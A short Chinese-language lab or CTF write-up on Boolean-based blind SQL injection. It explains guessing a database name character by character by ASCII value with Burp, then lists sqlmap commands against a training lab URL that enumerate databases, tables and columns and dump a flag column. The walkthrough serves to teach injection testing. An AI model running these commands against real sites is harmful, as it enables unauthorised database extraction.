Boolen盲注就是通过判断数据能不能够回显来判断是否存在盲注,既然是Boolean型盲注哪么从字面意思上就可以知道,返回的值True/False
1.判断是否存在SQL注入
2.尝试获判断库名的长度(这里我己经通过大于小于判断出来了库名长度为12)
3.通过Burp抓包,尝试对库名第一位进行爆破
4.设置从0~127位,每一个都去进行比较
5.通过Response返回结果不一样的,看结果是否正常返回了数据,正常说明条件为True,说明就是这个字符。这里爆破出来的第一个字符为107,对应Ascii表的是字母“k”
6.通过一个个去比较太慢,得用burp可以批量爆破,这里把截取的位数也进行动态匹配
7.前面知道了数据库的长为12,所以这里把第一位设置成从第一位截起,截12次,第二位则还是从0~127 位,然后交叉匹配。
8.通过比量爆破得到库名
9.上面知道盲注的原理其实就是一个字“猜”,下面使用kali的sqlmap进行爆破取得所有库名。
root@sl:~# sqlmap -u "inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1" --dbs
10.我要的Flag在”kanwolongxia”,接着对该库进行爆破。
root@sl:~# sqlmap -u “inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1” -D kanwolongxia —tables
11.爆表结构
root@sl:~# sqlmap -u "inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1" -D kanwolongxia -T loflag --columns
12.获取数据
root@sl:~# sqlmap -u "inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1" -D kanwolongxia -T loflag -C flaglo --dump